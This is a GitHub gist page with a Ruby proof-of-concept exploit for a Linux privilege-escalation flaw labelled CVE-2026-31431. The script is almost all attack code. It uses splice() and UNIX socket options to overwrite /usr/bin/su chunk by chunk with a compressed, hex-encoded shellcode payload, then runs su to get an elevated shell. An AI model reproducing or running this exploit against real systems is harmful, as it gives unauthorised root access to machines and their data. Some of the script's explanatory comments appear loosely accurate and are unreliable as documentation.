Created
April 30, 2026 20:14
-
-
Save rafapolo/874a5daf24cddf25b32431e2ad1782d1 to your computer and use it in GitHub Desktop.
CVE-2026-31431 PoC Exploit in Ruby
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env ruby | |
| # CVE-2026-31431 PoC | |
| # Requires: gem install ffi | |
| require 'socket' | |
| require 'zlib' | |
| require 'ffi' | |
| # FFI module to call Linux splice() system call from libc | |
| # splice() allows moving data between pipe and file descriptor without copying to userspace | |
| module Splice | |
| extend FFI::Library | |
| ffi_lib FFI::Library::LIBC | |
| # int splice(int fd_in, loff_t *off_in, int fd_out, loff_t *off_out, size_t len, unsigned int flags) | |
| attach_function :splice, [:int, :pointer, :int, :pointer, :size_t, :uint], :ssize_t | |
| end | |
| # Convert hexadecimal string to binary bytes | |
| # e.g., "ff" -> "\xff" | |
| def d(x) | |
| [x].pack('H*') | |
| end | |
| # Core exploitation function | |
| # Creates a UNIX socketpair, sets up SCM_RIGHT control messages, | |
| # and uses splice() to perform a race condition / arbitrary file write | |
| # @param fileno File descriptor number of /usr/bin/su | |
| # @param offset Offset into the file to write the chunk | |
| # @param chunk 4-byte chunk of shellcode to write | |
| def c(fileno, offset, chunk) | |
| # Create UNIX domain stream socket | |
| a = Socket.new(Socket::AF_UNIX, Socket::SOCK_STREAM) | |
| # Bind to abstract socket name "aead" (arbitrary name for the socket) | |
| a.bind(Socket.pack_sockaddr_un("aead")) | |
| a.listen(1) | |
| # SOL_UNIX = 279 (Linux-specific socket option level) | |
| sol = Socket::SOL_UNIX | |
| # Set socket options for credential passing | |
| # SO_PASSCRED (1): Enable credential passing via SCM_CREDS | |
| a.setsockopt(sol, 1, d('0800010000000010' + '0' * 64)) | |
| # SO_PASSPIDFD (5): Enable passing PID file descriptor | |
| a.setsockopt(sol, 5, nil, 4) | |
| # Accept incoming connection (from our sendmsg below) | |
| u, _ = a.accept | |
| # Calculate target offset (offset + 4 for header) | |
| o = offset + 4 | |
| # Null bytes for padding | |
| i = d('00') | |
| # Send SCM_RIGHT control message with chunk | |
| # This leverages Linux SCM_RIGHTS to pass file descriptors | |
| # The "A" * 4 is padding before the chunk | |
| u.sendmsg(["A" * 4 + chunk], 0, 32768) | |
| # Create pipe for splice() operations | |
| r, w = IO.pipe | |
| # First splice: read from su file into pipe | |
| # Splice from fileno (su binary) to pipe write end | |
| Splice.splice(fileno, nil, w.fileno, nil, o, 0) | |
| # Second splice: write from pipe to socket | |
| # This triggers the write to the target offset | |
| Splice.splice(r.fileno, nil, u.fileno, nil, o, 0) | |
| # Wait briefly for operation to complete | |
| begin | |
| u.recv(8 + offset) | |
| rescue | |
| # Ignore errors (socket may close after send) | |
| end | |
| end | |
| # Open the target binary (/usr/bin/su) in read-only mode | |
| # This gives us a file descriptor to pass via splice() | |
| f = File.open("/usr/bin/su", File::RDONLY) | |
| # Decompress the compressed shellcode from hex string | |
| # This is zlib-compressed data containing the actual shellcode payload | |
| i = 0 | |
| e = Zlib::Inflate.inflate(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3")) | |
| # Write each 4-byte chunk of shellcode to successive offsets | |
| while i < e.length | |
| c(f.fileno, i, e[i, 4]) | |
| i += 4 | |
| end | |
| # Execute the now-patched su binary | |
| # This launches the shell with elevated privileges | |
| system("su") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment